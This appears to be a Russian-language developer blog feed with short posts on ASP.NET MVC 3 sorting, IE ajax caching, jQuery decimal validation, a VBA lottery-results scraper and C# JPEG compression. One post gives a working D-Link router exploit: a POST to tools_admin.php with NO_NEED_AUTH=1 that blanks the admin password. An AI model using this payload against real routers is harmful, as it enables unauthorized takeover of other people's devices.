Фев 032012
 

Возникла необходимость динамической сортировки в пейджере для приложения на MVC 3.
Конечно можно отписать if’ы в домене для всех полей OrderBy и OrderByDescending. Но это можно сделать один раз. Вот погугли и нашел здесь отличное решение:
Использование:

list.OrderBy("SomeProperty");
list.OrderBy("SomeProperty DESC");
list.OrderBy("SomeProperty DESC, SomeOtherProperty");
list.OrderBy("SomeSubObject.SomeProperty ASC, SomeOtherProperty DESC");

Continue reading »

Ноя 232011
 

Как оказалось, internet explorer кеширет ajax ответы от сайтов, в частности , от MVC 3 сайта. Это связано с особенностями механизма кеширования данного браузера, в других (Chrome, Firefox) такого не замечено. Вот решение:

 [OutputCache(NoStore = true, Duration = 0, VaryByParam = "*")]

Этот атрибут можно применить к контролёру или экшену.
Или можно воспользоваться функцией jquery.ajaxSetup

$.ajaxSetup ({cache: false});
Сен 052011
 


Есть эксплойт, описан тут:

http://dl.packetstormsecurity.net/1012-exploits/dlink_php_vulnerability.pdf

чтобы поменять пароль надо произвести POST запрос
по адресу:
http://192.168.0.1/tools_admin.php
с параметрами:

ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=&admin_password2=&grap_auth_enable_h=0&rt_enable_h=0&NO_NEED_AUTH=1&AUTH_GROUP=0

Здесь устанавливается пустой пароль для пользователя admin
Эту операцию можно произвести с помощью дополнения для firefox — live http headers

Подробно и в картинках:

Continue reading »

 Posted by at 09:48  Tagged with:
Июн 212011
 

При использовании ASP.Net MVC 3, я натолкнулся на проблему с валидацией данных. Оказывается jQuery не любит дробный разделитель в виде запятой. Если вы отображаете textbox для поля типа decimal и разделитель дробной части — точка, то скрипт валидации на клиенте не даст отправить данные, т.к. для него разделитель только — запятая.

Для решения проблемы, вы можете изменить методы range() и number() в jquery.validate.js. Но лучше переопределить их в другом месте, т.к., например, при обновлении фреймворка jQuery, эти изменения потеряются. Я предлагаю создать отдельный файл, например validationFix.js, и подключать к шаблону его в самом конце. Его содержимое:

$.validator.methods.range = function (value, element, param) {
	var globalizedValue = value.replace(",", ".");
return this.optional(element) || (globalizedValue >= param[0] && globalizedValue <= param[1]);
}
 
$.validator.methods.number = function (value, element) {
	return this.optional(element) || /^-?(?:\d+|\d{1,3}(?:[\s\.,]\d{3})+)(?:[\.,]\d+)?$/.test(value);
}

Изменения выделены:
return this.optional(element) || /^-?(?:\d+|\d{1,3}(?:[\s\.,]\d{3})+)(?:[\.,]\d+)?$/.test(value);

оригинал [\.]

мая 192011
 
Sub parse_gosloto()
    Dim ie As Object
Dim ie2 As Object
Dim str2 As String
Dim linkz() As String
Dim oxmldom As New DOMDocument30
Dim firstpage As Integer
Set ie = CreateObject("InternetExplorer.Application")
Pausa (2)
Dim rs1 As ADODB.Recordset
 
Dim strsql As String
strsql = ""
Dim strsql2 As String
Dim sbrfID As Integer
strsql2 = ""
 
ie.Navigate "http://www.gosloto.ru/5x36/archive/year/2009"
Do While ie.busy And ie.ReadyState <> 4
    DoEvents
    ii = ii + 1
    ie.Visible = True
Loop
    Set str1 = ie.Document.getElementsByTagName("table")
    For Each tbl In str1
 
        If tbl.Attributes("class").Value = "archive_table" Then
            k = 1
            Set trzz = tbl.getElementsByTagName("tr")
            For Each tr1 In trzz
                If (tr1.Attributes("class").Value <> "month") Then
                    Set tdzz = tr1.getElementsByTagName("td")
                    If tdzz.length > 0 Then
                        nt = tdzz(0).innertext
                        dt = tdzz(1).innertext
                        Set ulzz = tdzz(2).getElementsByTagName("ul")
                        Set lizz = ulzz(0).getElementsByTagName("li")
                        For Each li1 In lizz
                            a = li1.innertext
                            If (CurrentProject.Connection.Execute("select count(*) as c from gosloto where nt=" & nt & " and cifra=" & a)!c = 0) Then
                                CurrentProject.Connection.Execute ("insert into gosloto (nt,dt,cifra) values(" & nt & ",'" & dt & "'," & a & ")")
                            End If
                        Next
                    End If
                End If
            Next
        End If
 
    Next
 
 
End Sub
 Posted by at 18:59
Июл 092010
 
private static ImageCodecInfo GetEncoderInfo(String mimeType)
{
    int j;
    ImageCodecInfo[] encoders;
    encoders = ImageCodecInfo.GetImageEncoders();
    for(j = 0; j < encoders.Length; ++j)
    {
        if(encoders[j].MimeType == mimeType)
            return encoders[j];
    }
    return null;
}
private void SaveJPGWithCompressionSetting( Image image, string szFileName, long lCompression )
{
    EncoderParameters eps = new EncoderParameters(1);
    eps.Param[0] = new EncoderParameter( Encoder.Quality, lCompression );
    ImageCodecInfo ici = GetEncoderInfo("image/jpeg");
    image.Save( szFileName, ici, eps );
}